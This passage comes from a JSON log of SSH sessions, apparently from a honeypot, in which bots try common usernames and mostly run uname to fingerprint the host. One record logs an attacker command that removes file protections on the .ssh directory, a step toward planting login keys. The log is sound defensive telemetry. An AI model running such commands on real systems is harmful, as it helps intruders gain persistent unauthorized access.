  "transcript_bytes": 0
 },
 {
  "id": "3b3613c3-dc69-48dd-9ce3-58a2ab596382",
  "name": "cobalt-sterling-salmon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 51284,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 240,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:38:36.017498+00:00",
  "ended_at": "2026-08-27T02:38:41.357661+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "6eb57d4b-da97-4de0-8f83-f70db9f7e43c",
  "name": "lively-feathered-kestrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 55568,
  "username": "ec2-user",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 306,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:38:33.333391+00:00",
  "ended_at": "2026-08-27T02:38:40.480304+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1661
 },
 {
  "id": "fa702796-34a3-4cd5-bb67-a364ba22d0b6",
  "name": "jolly-lawful-kingfisher",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 35672,
  "username": "gitlab-runner",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 284,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:38:26.385575+00:00",
  "ended_at": "2026-08-27T02:38:30.569590+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "16f12cf5-ee5c-40a4-90c6-e7b9800e887e",
  "name": "wiry-lofty-hare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 55514,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 218,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:38:13.552771+00:00",
  "ended_at": "2026-08-27T02:38:18.537429+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "731b9399-4baa-454a-8cc5-6f415f52b1e3",
  "name": "inland-vigilant-skua",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 57350,
  "username": "guest",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 185,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:38:11.830932+00:00",
  "ended_at": "2026-08-27T02:38:17.372109+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d3c53595-439d-4ced-970c-b762cbd6739d",
  "name": "tranquil-serene-vulture",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 54938,
  "username": "super",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:38:03.312118+00:00",
  "ended_at": "2026-08-27T02:38:05.220934+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dcbd2d98-6cc9-4211-8e3a-60121b33683c",
  "name": "sleepy-marine-dunlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 56566,
  "username": "user",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 244,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:38:00.024136+00:00",
  "ended_at": "2026-08-27T02:38:05.746324+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c91f8bd5-465a-4549-9ed8-08adb0a3ed76",
  "name": "pewter-slender-kiwi",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 56526,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 212,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:37:59.631023+00:00",
  "ended_at": "2026-08-27T02:38:04.457487+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "04197e36-f657-482a-8d71-f7d2c37a5e89",
  "name": "whispering-curious-muntjac",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 53182,
  "username": "super",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 210,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:37:57.411496+00:00",
  "ended_at": "2026-08-27T02:38:05.222461+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1658
 },
 {
  "id": "bc4767ee-4213-4905-8e06-a3310d543a97",
  "name": "solar-lively-bunting",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 33858,
  "username": "hduser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 217,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:37:51.379221+00:00",
  "ended_at": "2026-08-27T02:37:55.018023+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "2c4bdce5-80fa-4480-9dee-b6b842f6ea96",
  "name": "hardy-barren-gibbon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 53238,
  "username": "fastuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 221,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:37:49.488194+00:00",
  "ended_at": "2026-08-27T02:37:54.955370+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "943b6192-a8f3-4dc0-a409-3bf2a6acde5f",
  "name": "spirited-curious-jerboa",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 35690,
  "username": "ark",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:37:40.974787+00:00",
  "ended_at": "2026-08-27T02:37:43.060815+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "afc8bf40-3db2-459e-b38e-283a6ac0cc4d",
  "name": "vaulted-mighty-squirrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 33796,
  "username": "ark",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 256,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:37:35.932755+00:00",
  "ended_at": "2026-08-27T02:37:43.062525+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1656
 },
 {
  "id": "de3ea392-43c9-407e-8d76-507374fa927f",
  "name": "grassy-early-crane",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 55596,
  "username": "init",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:37:31.562295+00:00",
  "ended_at": "2026-08-27T02:37:33.672112+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7fa4a576-db02-4834-8619-0a949d33fe0e",
  "name": "windswept-sleepy-moose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 56192,
  "username": "init",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 192,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:37:27.218222+00:00",
  "ended_at": "2026-08-27T02:37:33.673873+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "436e9f07-9669-4361-a53d-f51820c95e2a",
  "name": "coral-vernal-vicuna",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 57428,
  "username": "esuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:37:23.821155+00:00",
  "ended_at": "2026-08-27T02:37:25.678837+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ca2958c1-7040-4c5c-a634-33d742c6d1af",
  "name": "lunar-lively-quokka",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 52538,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 211,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:37:20.606355+00:00",
  "ended_at": "2026-08-27T02:37:24.109453+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "fe19b10c-5dce-4daa-8c70-ee24f3dc708a",
  "name": "whispering-opal-pelican",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 42218,
  "username": "esuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 261,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:37:19.575334+00:00",
  "ended_at": "2026-08-27T02:37:25.680705+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "ad0a6ba7-0d80-46f9-b60d-8d1ad3a00f71",
  "name": "breezy-restless-ibex",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 52524,
  "username": "hadoop",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 233,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:37:16.716415+00:00",
  "ended_at": "2026-08-27T02:37:21.754945+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "2827526b-ac13-4a37-9d83-8249bd75367b",
  "name": "fleeting-knotted-dormouse",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 56538,
  "username": "webadmin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:37:07.419999+00:00",
  "ended_at": "2026-08-27T02:37:09.348686+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2bc7bd4e-d66e-4b9d-8584-e2f2ce22445c",
  "name": "sturdy-obsidian-bunting",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 42178,
  "username": "deploy",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 194,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:37:07.291232+00:00",
  "ended_at": "2026-08-27T02:37:12.371217+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "57c4e1d6-7ba3-46fc-9350-4f8cdf34b5f0",
  "name": "weathered-boreal-owl",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 37330,
  "username": "webadmin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 235,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:37:02.162091+00:00",
  "ended_at": "2026-08-27T02:37:09.347355+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "10ee5ef2-a2e3-4617-88f4-5803c0946ff1",
  "name": "humble-cunning-goldcrest",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 53912,
  "username": "user1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 278,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:37:01.977680+00:00",
  "ended_at": "2026-08-27T02:37:06.675502+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3df1f272-a242-497c-a76d-dcf685d48068",
  "name": "fearless-granite-vole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 37224,
  "username": "steam",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 210,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:36:47.465110+00:00",
  "ended_at": "2026-08-27T02:36:53.135670+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1a5f896c-ed82-437e-8b46-4f10a2f1b626",
  "name": "frank-fleeting-chamois",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 46866,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 210,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:36:40.835763+00:00",
  "ended_at": "2026-08-27T02:36:45.516471+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "9968b58d-0e09-4886-977c-2a2006c6c68b",
  "name": "cheerful-russet-osprey",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 46828,
  "username": "user1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 226,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:36:29.864767+00:00",
  "ended_at": "2026-08-27T02:36:33.164168+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "90cec686-db28-42e1-80d3-c64ef6f688cf",
  "name": "fleeting-ruddy-heron",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 43960,
  "username": "chris",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 224,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:36:24.377028+00:00",
  "ended_at": "2026-08-27T02:36:29.058459+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e95adf91-7feb-45ba-9937-2e0111842b51",
  "name": "courtly-cosmic-tern",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 49170,
  "username": "ac",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 532,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T02:36:22.796549+00:00",
  "ended_at": "2026-08-27T02:36:23.539081+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2239
 },
 {
  "id": "56c3c6bb-d7b7-4b3a-908c-aea660b79148",
  "name": "orderly-brazen-dolphin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 60234,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 263,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:36:22.505092+00:00",
  "ended_at": "2026-08-27T02:36:27.684110+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "78206a6f-afb1-4873-8528-0ae38b114e40",
  "name": "meadow-alpine-jerboa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 60156,
  "username": "user1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 231,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:36:20.150331+00:00",
  "ended_at": "2026-08-27T02:36:23.683059+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3b285731-1d3b-4677-a797-1b65802ded31",
  "name": "primal-rustic-greenfinch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 49190,
  "username": "ac",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:36:11.999104+00:00",
  "ended_at": "2026-08-27T02:36:12.752376+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3a2d93d4-1a79-49b7-a4a1-d5bdc5236fdb",
  "name": "twilight-granite-manatee",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 49178,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:36:07.963961+00:00",
  "ended_at": "2026-08-27T02:36:09.130264+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "01366a3a-89bf-4cdc-93a1-35efe6485512",
  "name": "gleaming-flinty-quoll",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 38348,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 268,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:36:06.392438+00:00",
  "ended_at": "2026-08-27T02:36:12.241934+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e8ceebaf-ff03-439f-9ce5-30ecaf37437b",
  "name": "western-mighty-firefly",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 38320,
  "username": "admin1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 225,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:36:05.503589+00:00",
  "ended_at": "2026-08-27T02:36:11.153023+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0221c40f-fb57-4f10-8503-23cd4a2237dd",
  "name": "earnest-nimble-harrier",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 41154,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 235,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:35:55.329112+00:00",
  "ended_at": "2026-08-27T02:35:58.550256+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0ec8b550-2fc5-43e9-8dd0-003f728c297e",
  "name": "grassy-valiant-springbok",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 57046,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 256,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:35:46.484113+00:00",
  "ended_at": "2026-08-27T02:35:51.472390+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "10d0a4ab-c51b-43d1-97a9-72e4125e1a6f",
  "name": "lonesome-grumpy-guanaco",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 56944,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 226,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:35:45.356410+00:00",
  "ended_at": "2026-08-27T02:35:49.096953+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "fe92cb9e-9f78-48f5-975c-e2702963f3db",
  "name": "sturdy-sandy-adder",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 42508,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 250,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:35:39.396505+00:00",
  "ended_at": "2026-08-27T02:35:44.344001+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3a21b3f2-826c-4f25-a75d-c6e116fae10d",
  "name": "sleepy-rustic-stork",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 58292,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 274,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:35:30.030302+00:00",
  "ended_at": "2026-08-27T02:35:35.979926+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f4747cf7-8675-4a72-aa40-a56ddeb2ebc7",
  "name": "painted-lonesome-brambling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 58412,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 252,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:35:30.005695+00:00",
  "ended_at": "2026-08-27T02:35:35.345096+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ce54a8e5-ffb6-4018-89ff-956b2f0e43f4",
  "name": "amber-nautical-jackdaw",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 33768,
  "username": "server",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 274,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:35:23.038102+00:00",
  "ended_at": "2026-08-27T02:35:29.203468+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "96bd8af2-d868-46b4-81b4-808433f33e8f",
  "name": "peaty-barren-sable",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 47962,
  "username": "trade",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 268,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:35:16.938081+00:00",
  "ended_at": "2026-08-27T02:35:21.455595+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "dad25ab4-fad1-4b8a-a00c-978b5a276d7c",
  "name": "lawful-reedy-gerbil",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 33736,
  "username": "nginx",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 249,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:35:12.814687+00:00",
  "ended_at": "2026-08-27T02:35:16.888413+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5d732545-2b51-47d6-ae56-777c1070fb65",
  "name": "patient-diligent-tinamou",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 41166,
  "username": "lucas",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:35:09.599649+00:00",
  "ended_at": "2026-08-27T02:35:11.740000+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "82196143-6633-4671-b6ce-3a44494f44f8",
  "name": "lucid-noble-moose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 50488,
  "username": "lucas",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 304,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:35:03.580912+00:00",
  "ended_at": "2026-08-27T02:35:11.741373+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1658
 },
 {
  "id": "891ce4bd-ab8b-4eae-85b1-2882a4494a3e",
  "name": "distant-bashful-hoopoe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 50546,
  "username": "user",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 293,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:34:58.392371+00:00",
  "ended_at": "2026-08-27T02:35:03.013554+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "141af61b-dffb-4974-b21e-b00dd6ab250e",
  "name": "prairie-tangled-camel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 50990,
  "username": "claude",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 226,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:34:46.600428+00:00",
  "ended_at": "2026-08-27T02:34:49.957689+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e8fb258d-789e-4972-8fbc-7841abd8c7e9",
  "name": "regal-cobalt-starling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 46886,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 246,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:34:43.685146+00:00",
  "ended_at": "2026-08-27T02:34:46.657282+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "35c5fd86-4022-43da-b81d-0dc55cf9dd86",
  "name": "oaken-orderly-impala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 46934,
  "username": "operator",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 266,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:34:43.205098+00:00",
  "ended_at": "2026-08-27T02:34:46.454068+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e0a7ed2f-4d3e-4960-8ae3-4fc6869039e8",
  "name": "brave-thorny-oriole",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 58342,
  "username": "amin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:34:39.990891+00:00",
  "ended_at": "2026-08-27T02:34:42.294765+00:00",
  "ended_reason": "no channel opened",
